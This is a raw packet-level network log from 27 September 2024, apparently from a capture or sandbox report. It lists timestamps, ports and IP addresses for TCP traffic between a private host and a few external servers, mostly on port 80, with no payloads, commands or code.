Sep 27, 2024 16:18:21.928164005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928174973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928181887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928209066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928244114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928252935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928263903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928275108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928284883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928292990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928292990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928303957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928332090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928385973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928394079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928401947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928417921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928428888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928440094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928447008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928456068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928466082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928481102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928544998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928564072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928574085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928585052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928594112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928605080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928615093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928622007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928672075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928689003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928697109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928708076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928718090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928728104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928738117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928757906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928803921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928863049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928873062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928889036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928899050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928910017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928915024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928925037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.928998947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.928998947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.929024935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929033995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929044008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929053068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929064035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.929076910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929088116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929100990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929105997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.929116011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929126978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929136992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929146051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.929162025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.929162025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.929212093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.935671091 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.937540054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937557936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937567949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937658072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937669039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937679052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937689066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937699080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.937716961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.937786102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938146114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938155890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938167095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938201904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938231945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938258886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938270092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938280106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938290119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938299894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938302994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938309908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938349009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938352108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938361883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938371897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938380957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938395977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938397884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938407898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.938421011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938445091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.938478947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980197906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980222940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980233908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980282068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980288982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980299950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980309963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980317116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980320930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980362892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980384111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980386019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980397940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980411053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980412960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980422974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980432987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980453968 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980493069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980552912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980564117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980575085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980586052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980601072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980602026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980616093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980649948 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980671883 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980680943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980683088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980694056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980703115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.980715990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.980753899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985176086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985187054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985203028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985239029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985243082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985249996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985261917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985272884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985282898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985282898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985308886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985332966 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985491991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985534906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985538006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985549927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985572100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985574961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985582113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985599995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985603094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985611916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985624075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985662937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985745907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985788107 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985815048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985826015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985843897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985852957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985857010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985863924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985873938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985879898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.985882998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.985919952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.986613989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986645937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986656904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986687899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.986711979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.986721039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986732006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986742020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986752987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986768007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.986819983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986829996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986839056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.986848116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986857891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986866951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.986876011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986886978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986903906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.986912966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986923933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.986933947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986942053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.986943960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986953974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.986964941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.986999989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987251997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987262964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987273932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987289906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987299919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987312078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987363100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987363100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987529039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987585068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987600088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987611055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987622023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987632990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987647057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987680912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987690926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987694025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987700939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987709999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987725019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987725973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987735033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987766027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987780094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987791061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987801075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987807989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987807989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987818956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987828970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.987849951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987878084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987886906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.987895012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987906933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987917900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.987917900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.987961054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988007069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988018990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988029003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988039970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988055944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988078117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.988097906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988106012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.988114119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988126040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988127947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988127947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988132000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988141060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988157988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988168001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.988177061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988178015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988188982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.988193989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988205910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988269091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.988271952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988271952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988276005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988290071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988301039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988311052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988322020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988326073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988415003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988425970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988435030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988441944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988456011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988461018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988468885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988478899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988483906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.988490105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.988528967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989126921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989137888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989147902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989176035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989200115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989254951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989265919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989275932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989286900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989299059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989317894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989334106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989345074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989345074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989356041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989360094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989401102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989406109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989417076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989427090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989437103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.989455938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.989473104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.990027905 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:22.013206959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013219118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013242960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013252974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013263941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013273954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013282061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013299942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013310909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013320923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013334036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013339043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013355017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013365030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013375998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013386965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013400078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013400078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013420105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013431072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.013458967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013458967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.013514996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.014830112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014848948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014858007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014898062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.014898062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:22.014919043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014929056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014939070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014970064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:22.014978886 CEST	49615	80	192.168.2.6	185.215.113.117
